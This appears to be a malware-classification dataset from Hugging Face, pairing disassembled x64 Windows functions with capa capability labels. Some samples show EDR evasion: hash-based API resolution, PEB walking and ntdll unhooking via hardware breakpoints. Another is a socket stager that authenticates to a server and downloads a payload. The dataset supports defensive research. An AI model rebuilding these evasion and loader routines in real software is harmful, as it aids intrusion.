joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18007ae7c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18007aeac
xor eax, eax
jmp 0x18007af6f
mov rbp, rbx
cmp word [rax], si
je 0x18007aed1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18007aeb8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18007aeb4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180079594
movsxd r14, eax
test eax, eax
jne 0x18007af0f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18007aea5
mov rcx, r14
call fcn.180075778
mov rdi, rax
test rax, rax
jne 0x18007af28
xor ecx, ecx
call fcn.18007446c
jmp 0x18007af04
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180079594
test eax, eax
jne 0x18007af59
mov rcx, rdi
call fcn.18007446c
jmp 0x18007af63
xor ecx, ecx
call fcn.18007446c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18007dce4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1800715d0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18007dd85
cmp ebx, dword [rsp + 0x30]
je 0x18007dd7e
test esi, esi
je 0x18007dd7e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18007dd59
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18007dd66
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18007dd43
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18007dd6a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18007dd87
mov eax, 1
jmp 0x18007dd87
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180082004
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18007768c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18007768c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180082154
cmp rax, 0xffffffffffffffff
je 0x180082154
xor edi, edi
test rbp, rbp
jle 0x1800820ff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180074a58
mov rbx, rax
test rax, rax
jne 0x18008208c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800820f5
mov edx, 0x8000
mov ecx, r14d
call fcn.180081e88
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180073f04
cmp eax, 0xffffffff
je 0x1800820d5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18008209c
mov edx, r15d
mov ecx, r14d
call fcn.180081e88
jmp 0x1800820f5
cmp byte [rsi + 0x38], dil
je 0x1800820ec
cmp dword [rsi + 0x34], 5
jne 0x1800820ec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800820f5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18007446c
jmp 0x180082168
jns 0x180082168
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18007768c
cmp rax, 0xffffffffffffffff
jne 0x180082120
cmp byte [rsi + 0x30], dil
je 0x180082168
mov edi, dword [rsi + 0x2c]
jmp 0x180082168
mov ecx, r14d
call fcn.18007b638
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180082168
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180082168
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180082161
mov eax, dword [rsi + 0x2c]
jmp 0x180082166
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18007768c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180082c40
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180082c68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180082c68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400065c0
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 8
lea r9, [rcx + rdx]
mov r8, rcx
cmp rdx, 0x10
jb 0x14000666f
mov qword [rsp + 0x10], rbx
mov eax, 0x61c8864f
mov qword [rsp], rdi
xor ebx, ebx
lea rdi, [r9 - 0x10]
mov r10d, 0x24234428
mov r11d, 0x85ebca77
imul ecx, dword [r8], 0x7a143589
sub r10d, ecx
imul ecx, dword [r8 + 4], 0x7a143589
rol r10d, 0xd
imul r10d, r10d, 0x9e3779b1
sub r11d, ecx
imul ecx, dword [r8 + 8], 0x7a143589
rol r11d, 0xd
imul r11d, r11d, 0x9e3779b1
sub ebx, ecx
imul ecx, dword [r8 + 0xc], 0x7a143589
rol ebx, 0xd
add r8, 0x10
imul ebx, ebx, 0x9e3779b1
sub eax, ecx
rol eax, 0xd
imul eax, eax, 0x9e3779b1
cmp r8, rdi
jbe 0x1400065f5
mov rdi, qword [rsp]
rol eax, 0x12
rol ebx, 0xc
add eax, ebx
rol r11d, 7
mov rbx, qword [rsp + 0x10]
add eax, r11d
rol r10d, 1
add eax, r10d
jmp 0x140006674
mov eax, 0x165667b1
add eax, edx
lea rdx, [r8 + 4]
cmp rdx, r9
ja 0x14000669e
nop
imul ecx, dword [r8], 0x3d4d51c3
mov r8, rdx
add rdx, 4
sub eax, ecx
rol eax, 0x11
imul eax, eax, 0x27d4eb2f
cmp rdx, r9
jbe 0x140006680
cmp r8, r9
jae 0x1400066cd
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8]
inc r8
imul edx, ecx, 0x165667b1
add edx, eax
rol edx, 0xb
imul eax, edx, 0x9e3779b1
cmp r8, r9
jb 0x1400066b0
mov ecx, eax
shr ecx, 0xf
xor ecx, eax
imul eax, ecx, 0x85ebca77
mov ecx, eax
shr ecx, 0xd
xor ecx, eax
imul edx, ecx, 0xc2b2ae3d
mov eax, edx
shr eax, 0x10
xor eax, edx
add rsp, 8
ret

Function at 0x1400240a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
sub rsp, 0x18
mov byte [rsp + 1], 0
jmp 0x1400240c4
movzx eax, byte [rsp + 1]
inc al
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 4
jge 0x140024145
mov byte [rsp], 0
jmp 0x1400240dd
movzx eax, byte [rsp]
inc al
mov byte [rsp], al
movzx eax, byte [rsp]
cmp eax, 4
jge 0x140024140
movzx eax, byte [rsp + 1]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax*4]
movzx ecx, byte [rsp]
movzx edx, byte [rsp + 0x20]
shl edx, 2
movzx r8d, byte [rsp + 1]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rsp]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rsp + 0x30]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rsp]
movzx edx, byte [rsp + 1]
mov r8, qword [rsp + 0x28]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x1400240d4
jmp 0x1400240b9
add rsp, 0x18
ret

Function at 0x1400252c0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov byte [rsp + 1], 0
jmp 0x1400252db
movzx eax, byte [rsp + 1]
inc al
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 4
jge 0x140025339
mov byte [rsp], 0
jmp 0x1400252f4
movzx eax, byte [rsp]
inc al
mov byte [rsp], al
movzx eax, byte [rsp]
cmp eax, 4
jge 0x140025337
movzx eax, byte [rsp]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax*4]
movzx ecx, byte [rsp + 1]
movzx eax, byte [rax + rcx]
lea rcx, [0x140001110]
movzx edx, byte [rsp]
mov r8, qword [rsp + 0x20]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rsp + 1]
movzx eax, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x1400252eb
jmp 0x1400252d0
add rsp, 0x18
ret
Function at 0x140025dd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov byte [rsp], 0
jmp 0x140025ded
movzx eax, byte [rsp]
inc al
mov byte [rsp], al
movzx eax, byte [rsp]
cmp eax, 0x10
jge 0x140025e20
movzx eax, byte [rsp]
movzx ecx, byte [rsp]
mov rdx, qword [rsp + 0x28]
movzx ecx, byte [rdx + rcx]
mov rdx, qword [rsp + 0x20]
movzx eax, byte [rdx + rax]
xor eax, ecx
movzx ecx, byte [rsp]
mov rdx, qword [rsp + 0x20]
mov byte [rdx + rcx], al
jmp 0x140025de4
add rsp, 0x18
ret
Function at 0x1400268c0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
cmp qword [rsp + 0x30], 0
je 0x1400268e2
mov rax, qword [rsp + 0x30]
cmp qword [rax + 0x10], 0
jne 0x1400268e9
xor eax, eax
jmp 0x1400269e5
mov dword [rsp], 0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x140026913
mov dword [rsp + 4], 1
jmp 0x14002691b
mov dword [rsp + 4], 0
mov eax, dword [rsp + 4]
mov dword [rsp], eax
cmp dword [rsp], 0
jne 0x14002692d
jmp 0x1400269d0
xor eax, eax
test eax, eax
jne 0x1400268fa
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
cmp dword [rax], 0x4550
jne 0x140026963
mov dword [rsp + 8], 1
jmp 0x14002696b
mov dword [rsp + 8], 0
mov eax, dword [rsp + 8]
mov dword [rsp], eax
cmp dword [rsp], 0
jne 0x14002697a
jmp 0x1400269d0
xor eax, eax
test eax, eax
jne 0x14002694c
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x1400269c9
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x1400269aa
mov dword [rsp + 0xc], 1
jmp 0x1400269b2
mov dword [rsp + 0xc], 0
mov eax, dword [rsp + 0xc]
mov dword [rsp], eax
cmp dword [rsp], 0
jne 0x1400269c1
jmp 0x1400269d0
xor eax, eax
test eax, eax
jne 0x140026990
jmp 0x1400269d0
mov dword [rsp], 0
cmp dword [rsp], 0
jne 0x1400269e2
mov rax, qword [rsp + 0x30]
mov dword [rax + 0x20], 1
mov eax, dword [rsp]
add rsp, 0x28
ret
Function at 0x140027a20
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x70], 0
je 0x140027a3e
cmp qword [rsp + 0x78], 0
jne 0x140027a45
xor eax, eax
jmp 0x140027b9d
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140027a65
xor eax, eax
jmp 0x140027b9d
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x140027a92
xor eax, eax
jmp 0x140027b9d
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
cmp dword [rcx + rax + 0x88], 0
jne 0x140027ab1
xor eax, eax
jmp 0x140027b9d
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 0
jmp 0x140027b02
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x140027b9b
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.140027c70
test eax, eax
jne 0x140027b96
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
jmp 0x140027b9d
jmp 0x140027af8
xor eax, eax
add rsp, 0x68
ret

Function at 0x140029270
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push rdi
sub rsp, 0x30
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx edx, byte [rsp + 0x20]
mov ecx, 0x53b2070f
call fcn.1400292a0
add rsp, 0x30
pop rdi
ret

Function at 0x140029700
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movsx eax, byte [rsp + 0x10]
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov rcx, qword [rsp + 8]
mov dword [rcx], eax
ret
Function at 0x14002a5b0
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.1400293e0
mov dword [rsp + 0x20], 0
jmp 0x14002a5dc
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.140029690
mov rcx, rax
call fcn.140029380
cmp eax, 0xf8f45725
jne 0x14002a609
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.140029470
jmp 0x14002a60b
jmp 0x14002a5d2
add rsp, 0x48
ret

Function at 0x1400111db
Capabilities:
Terminate process

Disassembly:
jmp 0x140014e20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011258
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c60
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c73
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c9d
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012cb1
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012cc3
xor al, al
jmp 0x140012ce1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012cdf
xor al, al
jmp 0x140012ce1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400010b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
je 0x1400010bd
xor eax, eax
ret
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400010ba
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
mov qword [rdx], rax
mov eax, 1
ret

Function at 0x1400014a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rax, qword gs:[0x60]
mov edi, ecx
mov rbx, qword [rax + 0x18]
mov rbx, qword [rbx + 0x10]
cmp qword [rbx + 0x30], 0
je 0x140001516
nop dword [rax]
mov rdx, qword [rbx + 0x60]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_CharLowerA]
mov rcx, rax
call fcn.140001450
cmp eax, edi
je 0x140001539
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], 0
jne 0x1400014e0
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001c60
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret
mov rax, qword [rbx + 0x30]
jmp 0x140001518

Function at 0x140001540
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov eax, 0x5a4d
mov ebp, edx
mov r11, rcx
cmp word [rcx], ax
jne 0x1400015ac
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400015ac
mov edi, dword [rax + rcx + 0x88]
xor r10d, r10d
add rdi, rcx
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400015ac
mov esi, dword [rdi + 0x20]
nop word [rax + rax]
lea rcx, [rsi + r10*4]
mov ecx, dword [rcx + r11]
add rcx, r11
call fcn.140001450
cmp eax, ebp
je 0x1400015c3
inc r10d
cmp r10d, ebx
jb 0x140001590
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
add rax, r11
add rcx, r11
movzx edx, word [rax + r10*2]
mov eax, dword [rcx + rdx*4]
add rax, r11
jmp 0x1400015ae
Function at 0x140001b10
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
xor esi, esi
cmp ecx, 2
jne 0x140001b65
mov rdx, qword [rdx + 8]
lea r8, str.stealth
mov eax, esi
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001b65
cmp rax, 8
jne 0x140001b40
lea rcx, str.___Stealth_mode:_Unhooking_one_function_n
call fcn.140001070
mov esi, 1
lea rcx, str.___Creating_new_process_in_debug_mode_n
call fcn.140001070
lea rcx, [rsp + 0x30]
call fcn.1400015e0
mov ecx, 0x3e8557
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
call fcn.1400014a0
mov ecx, 0x6870a8f
mov rdi, rax
call fcn.1400014a0
mov edx, 0xafee49
mov rcx, rdi
call fcn.140001540
mov rdx, rax
lea rcx, str.___Found_LdrLoadDllAddress_address:_0x_p_n
mov rbx, rax
call fcn.140001070
lea rcx, str.___Setting_HWBP_on_remote_process_n
call fcn.140001070
movups xmm0, xmmword [rsp + 0x20]
mov rcx, rbx
psrldq xmm0, 8
movq rdx, xmm0
call fcn.1400016a0
lea rcx, str.___Copying_clean_ntdll_from_remote_process_n
call fcn.140001070
mov rdx, rdi
lea rcx, str.___Found_ntdll_base_address:_0x_p_n
call fcn.140001070
mov rbx, qword [rsp + 0x20]
mov r8d, esi
mov rcx, rbx
mov rdx, rdi
call fcn.140001800
lea rcx, str.___Unhooked_n
test eax, eax
je 0x140001c1c
lea rcx, str.____Failed_to_unhook_n
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rbx, qword [rsp + 0x70]
xor eax, eax
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x140001380
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
push r14
push r15
sub rsp, 0x208
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1f8], rax
mov r15, rdx
mov r14, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400013cc
lea rcx, str._error__WSAStartp_fail._n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x230], rbx
xor r9d, r9d
mov qword [rsp + 0x238], rsi
mov ebx, 2
mov qword [rsp + 0x200], rdi
xor r8d, r8d
xor edi, edi
mov ecx, ebx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea rcx, [0x140005678]
mov qword [rsp + 0x38], rdi
mov rsi, rax
mov word [rsp + 0x30], bx
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [0x140005cf0]
mov dword [rsp + 0x34], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rdi + 0x10]
mov rcx, rsi
lea rdx, [rsp + 0x30]
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001460
lea rcx, str._error__connect_to_server_fail._n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r9d, r9d
lea rdx, str.123456
mov rcx, rsi
lea r8d, [r9 + 0x32]
call qword [sym.imp.WS2_32.dll_send]
xor eax, eax
lea rdx, [rsp + 0x1e0]
xorps xmm0, xmm0
mov dword [rsp + 0x1f0], eax
xor r9d, r9d
mov rcx, rsi
movups xmmword [rsp + 0x1e0], xmm0
lea r8d, [rax + 0x14]
call qword [sym.imp.WS2_32.dll_recv]
mov r8, rbx
lea rdx, [rsp + 0x1e0]
lea rcx, [0x140003384]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x1400014dc
lea rdx, [rsp + 0x1e0]
lea rcx, str._error__auth_failed.__s__n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rsp + 0x1e2]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rbx, eax
mov qword [r15], rbx
mov rcx, rbx
cmp rbx, 0x14
jae 0x140001510
mov edx, ebx
lea rcx, str._error__dataSize_too_small__ld._n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [r14], rax
nop dword [rax]
movsxd rdx, edi
xor r9d, r9d
add rdx, qword [r14]
mov rcx, rsi
cmp ebx, 0xc8
jle 0x14000154e
mov r8d, 0xc8
add edi, 0xc8
call qword [sym.imp.WS2_32.dll_recv]
sub ebx, eax
test ebx, ebx
jg 0x140001520
jmp 0x140001557
mov r8d, ebx
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rsi, qword [rsp + 0x238]
mov rbx, qword [rsp + 0x230]
mov rdi, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1f8]
xor rcx, rsp
call fcn.140001a90
add rsp, 0x208
pop r15
pop r14
ret